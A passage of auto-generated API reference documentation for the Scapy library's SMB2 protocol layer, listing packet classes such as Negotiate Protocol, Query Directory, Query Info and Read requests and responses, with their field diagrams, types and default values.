|                               |           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. SMB2_IOCTL_Response                     


SMB2_IOCTL_Response fields






	StructureSize

	XLEShortField

	49



	Reserved

	LEShortField

	0



	CtlCode

	LEIntEnumField

	0



	FileId

	PacketField

	<SMB2_FILEID  |>



	InputBufferOffset

	LEIntField

	None



	InputLen

	LEIntField

	None



	OutputBufferOffset

	LEIntField

	None



	OutputLen

	LEIntField

	None



	Flags

	FlagsField

	<Flag 0 ()>



	Reserved2

	LEIntField

	0



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3402-L3415]

	








	
class scapy.layers.smb2.SMB2_IOCTL_Validate_Negotiate_Info_Request(_pkt, /, *, Capabilities=<Flag 0 ()>, ClientGUID=UUID('00000000-0000-0000-0000-000000000000'), SecurityMode=<Flag 0 ()>, DialectCount=None, Dialects=[514])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3120-L3126]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CAPABILITIES                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CLIENTGUID                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SECURITYMODE         |          DIALECTCOUNT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DIALECTS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

         Fig. SMB2_IOCTL_Validate_Negotiate_Info_Request          


SMB2_IOCTL_Validate_Negotiate_Info_Request fields






	Capabilities

	FlagsField

	<Flag 0 ()>



	ClientGUID

	UUIDField

	UUID('00000000-0000-0000-0000-000000000000')



	SecurityMode

	FlagsField

	<Flag 0 ()>



	DialectCount

	FieldLenField

	None



	Dialects

	FieldListField

	[514]















	
class scapy.layers.smb2.SMB2_IOCTL_Validate_Negotiate_Info_Response(_pkt, /, *, Capabilities=<Flag 0 ()>, GUID=UUID('00000000-0000-0000-0000-000000000000'), SecurityMode=<Flag 0 ()>, DialectRevision=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3292-L3299]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CAPABILITIES                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              GUID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SECURITYMODE         |        DIALECTREVISION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

         Fig. SMB2_IOCTL_Validate_Negotiate_Info_Response         


SMB2_IOCTL_Validate_Negotiate_Info_Response fields






	Capabilities

	FlagsField

	<Flag 0 ()>



	GUID

	UUIDField

	UUID('00000000-0000-0000-0000-000000000000')



	SecurityMode

	FlagsField

	<Flag 0 ()>



	DialectRevision

	LEShortEnumField

	0















	
class scapy.layers.smb2.SMB2_Negotiate_Context(_pkt, /, *, ContextType=0, DataLength=None, Reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1697-L1706]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1705-L1706]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          CONTEXTTYPE          |           DATALENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SMB2_Negotiate_Context                    


SMB2_Negotiate_Context fields






	ContextType

	LEShortEnumField

	0



	DataLength

	LenField

	None



	Reserved

	IntField

	0











	
payload_guess

	Possible sublayers:
SMB2_Compression_Capabilities, SMB2_Encryption_Capabilities, SMB2_Netname_Negotiate_Context_ID, SMB2_Preauth_Integrity_Capabilities, SMB2_RDMA_Transform_Capabilities, SMB2_Signing_Capabilities, SMB2_Transport_Capabilities










	
class scapy.layers.smb2.SMB2_Negotiate_Protocol_Request(_pkt, /, *, StructureSize=36, DialectCount=None, SecurityMode=<Flag 0 ()>, Reserved=0, Capabilities=<Flag 0 ()>, ClientGUID=UUID('00000000-0000-0000-0000-000000000000'), NegotiateContextsBufferOffset=None, NegotiateContextsCount=None, Reserved2=0, Dialects=[514], Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1709-L1765]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 0

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |          DIALECTCOUNT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SECURITYMODE         |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CAPABILITIES                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CLIENTGUID                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 NEGOTIATECONTEXTSBUFFEROFFSET                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     NEGOTIATECONTEXTSCOUNT    |           RESERVED2           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DIALECTS           |             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. SMB2_Negotiate_Protocol_Request               


SMB2_Negotiate_Protocol_Request fields






	StructureSize

	XLEShortField

	36



	DialectCount

	FieldLenField

	None



	SecurityMode

	FlagsField

	<Flag 0 ()>



	Reserved

	LEShortField

	0



	Capabilities

	FlagsField

	<Flag 0 ()>



	ClientGUID

	UUIDField

	UUID('00000000-0000-0000-0000-000000000000')



	NegotiateContextsBufferOffset

	XLEIntField

	None



	NegotiateContextsCount

	LEShortField

	None



	Reserved2

	ShortField

	0



	Dialects

	FieldListField

	[514]



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1749-L1765]

	








	
class scapy.layers.smb2.SMB2_Negotiate_Protocol_Response(_pkt, /, *, StructureSize=65, SecurityMode=<Flag 0 ()>, DialectRevision=0, NegotiateContextsCount=None, GUID=UUID('00000000-0000-0000-0000-000000000000'), Capabilities=<Flag 0 ()>, MaxTransactionSize=65536, MaxReadSize=65536, MaxWriteSize=65536, ServerTime=None, ServerStartTime=None, SecurityBlobBufferOffset=None, SecurityBlobLen=None, NegotiateContextsBufferOffset=None, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1970-L2054]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 0

	




	
OFFSET = 128

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |          SECURITYMODE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        DIALECTREVISION        |     NEGOTIATECONTEXTSCOUNT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              GUID                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CAPABILITIES                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       MAXTRANSACTIONSIZE                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAXREADSIZE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAXWRITESIZE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SERVERTIME                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        SERVERSTARTTIME                        |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SECURITYBLOBBUFFEROFFSET   |        SECURITYBLOBLEN        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 NEGOTIATECONTEXTSBUFFEROFFSET                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SMB2_Negotiate_Protocol_Response               


SMB2_Negotiate_Protocol_Response fields






	StructureSize

	XLEShortField

	65



	SecurityMode

	FlagsField

	<Flag 0 ()>



	DialectRevision

	LEShortEnumField

	0



	NegotiateContextsCount

	LEShortField

	None



	GUID

	UUIDField

	UUID('00000000-0000-0000-0000-000000000000')



	Capabilities

	FlagsField

	<Flag 0 ()>



	MaxTransactionSize

	LEIntField

	65536



	MaxReadSize

	LEIntField

	65536



	MaxWriteSize

	LEIntField

	65536



	ServerTime

	UTCTimeField

	None



	ServerStartTime

	UTCTimeField

	None



	SecurityBlobBufferOffset

	XLEShortField

	None



	SecurityBlobLen

	LEShortField

	None



	NegotiateContextsBufferOffset

	XLEIntField

	None



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2028-L2054]

	








	
class scapy.layers.smb2.SMB2_Netname_Negotiate_Context_ID(_pkt, /, *, NetName=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1873-L1878]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1877-L1878]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            NETNAME            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SMB2_Netname_Negotiate_Context_ID              


SMB2_Netname_Negotiate_Context_ID fields






	NetName

	StrFieldUtf16

	b''















	
class scapy.layers.smb2.SMB2_Preauth_Integrity_Capabilities(_pkt, /, *, HashAlgorithmCount=None, SaltLength=None, HashAlgorithms=[1], Salt=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1777-L1801]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1800-L1801]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       HASHALGORITHMCOUNT      |           SALTLENGTH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         HASHALGORITHMS        |              SALT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. SMB2_Preauth_Integrity_Capabilities             


SMB2_Preauth_Integrity_Capabilities fields






	HashAlgorithmCount

	FieldLenField

	None



	SaltLength

	FieldLenField

	None



	HashAlgorithms

	FieldListField

	[1]



	Salt

	XStrLenField

	b''















	
class scapy.layers.smb2.SMB2_Query_Directory_Request(_pkt, /, *, StructureSize=33, FileInformationClass=1, Flags=<Flag 0 ()>, FileIndex=0, FileId=<SMB2_FILEID  |>, FileNameBufferOffset=None, FileNameLen=None, OutputBufferLength=65535, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3428-L3467]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 14

	




	
OFFSET = 96

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |FILEINFORMATION|     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FILEINDEX                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILEID            |      FILENAMEBUFFEROFFSET     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          FILENAMELEN          |       OUTPUTBUFFERLENGTH      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SMB2_Query_Directory_Request                 


SMB2_Query_Directory_Request fields






	StructureSize

	XLEShortField

	33



	FileInformationClass

	ByteEnumField

	1



	Flags

	FlagsField

	<Flag 0 ()>



	FileIndex

	LEIntField

	0



	FileId

	PacketField

	<SMB2_FILEID  |>



	FileNameBufferOffset

	LEShortField

	None



	FileNameLen

	LEShortField

	None



	OutputBufferLength

	LEIntField

	65535



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3455-L3467]

	








	
class scapy.layers.smb2.SMB2_Query_Directory_Response(_pkt, /, *, StructureSize=9, OutputBufferOffset=None, OutputLen=None, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3479-L3510]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 14

	




	
OFFSET = 72

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |       OUTPUTBUFFEROFFSET      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           OUTPUTLEN                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SMB2_Query_Directory_Response                


SMB2_Query_Directory_Response fields






	StructureSize

	XLEShortField

	9



	OutputBufferOffset

	LEShortField

	None



	OutputLen

	LEIntField

	None



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3498-L3510]

	








	
class scapy.layers.smb2.SMB2_Query_Info_Request(_pkt, /, *, StructureSize=41, InfoType=0, FileInfoClass=0, OutputBufferLength=0, InputBufferOffset=None, InputLen=None, AdditionalInformation=<Flag 0 ()>, Flags=<Flag 0 ()>, FileId=<SMB2_FILEID  |>, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3666-L3739]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 16

	




	
OFFSET = 104

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |    INFOTYPE   | FILEINFOCLASS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       OUTPUTBUFFERLENGTH                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       INPUTBUFFEROFFSET                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            INPUTLEN                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     ADDITIONALINFORMATION                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILEID            |             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. SMB2_Query_Info_Request                   


SMB2_Query_Info_Request fields






	StructureSize

	XLEShortField

	41



	InfoType

	ByteEnumField

	0



	FileInfoClass

	ByteEnumField

	0



	OutputBufferLength

	LEIntField

	0



	InputBufferOffset

	XLEIntField

	None



	InputLen

	LEIntField

	None



	AdditionalInformation

	FlagsField

	<Flag 0 ()>



	Flags

	FlagsField

	<Flag 0 ()>



	FileId

	PacketField

	<SMB2_FILEID  |>



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3727-L3739]

	








	
class scapy.layers.smb2.SMB2_Query_Info_Response(_pkt, /, *, StructureSize=9, OutputBufferOffset=None, OutputLen=None, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3749-L3780]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 16

	




	
OFFSET = 72

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |       OUTPUTBUFFEROFFSET      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           OUTPUTLEN                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SMB2_Query_Info_Response                   


SMB2_Query_Info_Response fields






	StructureSize

	XLEShortField

	9



	OutputBufferOffset

	LEShortField

	None



	OutputLen

	LEIntField

	None



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3768-L3780]

	








	
class scapy.layers.smb2.SMB2_Query_Quota_Info(_pkt, /, *, ReturnSingle=0, ReturnBoolean=0, Reserved=0, SidListLength=0, StartSidLength=0, StartSidOffset=0, pad=b'', SidBuffer=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L3634-L3663]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RETURNSINGLE | RETURNBOOLEAN |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SIDLISTLENGTH                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         STARTSIDLENGTH                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         STARTSIDOFFSET                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PAD              |SIDBUFFE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SMB2_Query_Quota_Info                    


SMB2_Query_Quota_Info fields






	ReturnSingle

	ByteField

	0



	ReturnBoolean

	ByteField

	0



	Reserved

	ShortField

	0



	SidListLength

	LEIntField

	0



	StartSidLength

	LEIntField

	0



	StartSidOffset

	LEIntField

	0



	pad

	StrLenField

	b''



	SidBuffer

	MultipleTypeField (PacketListField, StrLenField, StrFixedLenField)

	b''















	
class scapy.layers.smb2.SMB2_RDMA_Transform_Capabilities(_pkt, /, *, TransformCount=None, Reserved1=0, Reserved2=0, RDMATransformIds=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1910-L1933]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L1932-L1933]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         TRANSFORMCOUNT        |           RESERVED1           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        RDMATRANSFORMIDS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SMB2_RDMA_Transform_Capabilities               


SMB2_RDMA_Transform_Capabilities fields






	TransformCount

	FieldLenField

	None



	Reserved1

	LEShortField

	0



	Reserved2

	LEIntField

	0



	RDMATransformIds

	FieldListField

	[]















	
class scapy.layers.smb2.SMB2_Read_Request(_pkt, /, *, StructureSize=49, Padding=0, Flags=<Flag 0 ()>, Length=4280, Offset=0, FileId=<SMB2_FILEID  |>, MinimumCount=0, Channel=0, RemainingBytes=0, ReadChannelInfoBufferOffset=None, ReadChannelInfoLen=None, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2851-L2913]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 8

	




	
OFFSET = 112

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STRUCTURESIZE         |    PADDING    |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FILEID            |          MINIMUMCOUNT         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            CHANNEL            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |         REMAININGBYTES        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |  READCHANNELINFOBUFFEROFFSET  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       READCHANNELINFOLEN      |             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SMB2_Read_Request                      


SMB2_Read_Request fields






	StructureSize

	XLEShortField

	49



	Padding

	ByteField

	0



	Flags

	FlagsField

	<Flag 0 ()>



	Length

	LEIntField

	4280



	Offset

	LELongField

	0



	FileId

	PacketField

	<SMB2_FILEID  |>



	MinimumCount

	LEIntField

	0



	Channel

	LEIntEnumField

	0



	RemainingBytes

	LEIntField

	0



	ReadChannelInfoBufferOffset

	LEShortField

	None



	ReadChannelInfoLen

	LEShortField

	None



	Buffer

	_NTLMPayloadField

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2898-L2913]

	








	
class scapy.layers.smb2.SMB2_Read_Response(_pkt, /, *, StructureSize=17, DataBufferOffset=None, DataLen=None, DataRemaining=0, Flags=<Flag 0 ()>, Buffer=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/smb2.py#L2925-L2962]

	Bases: _SMB2_Payload, _NTLMPayloadPacket


	
Command = 8

	




	
OFFSET = 80

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
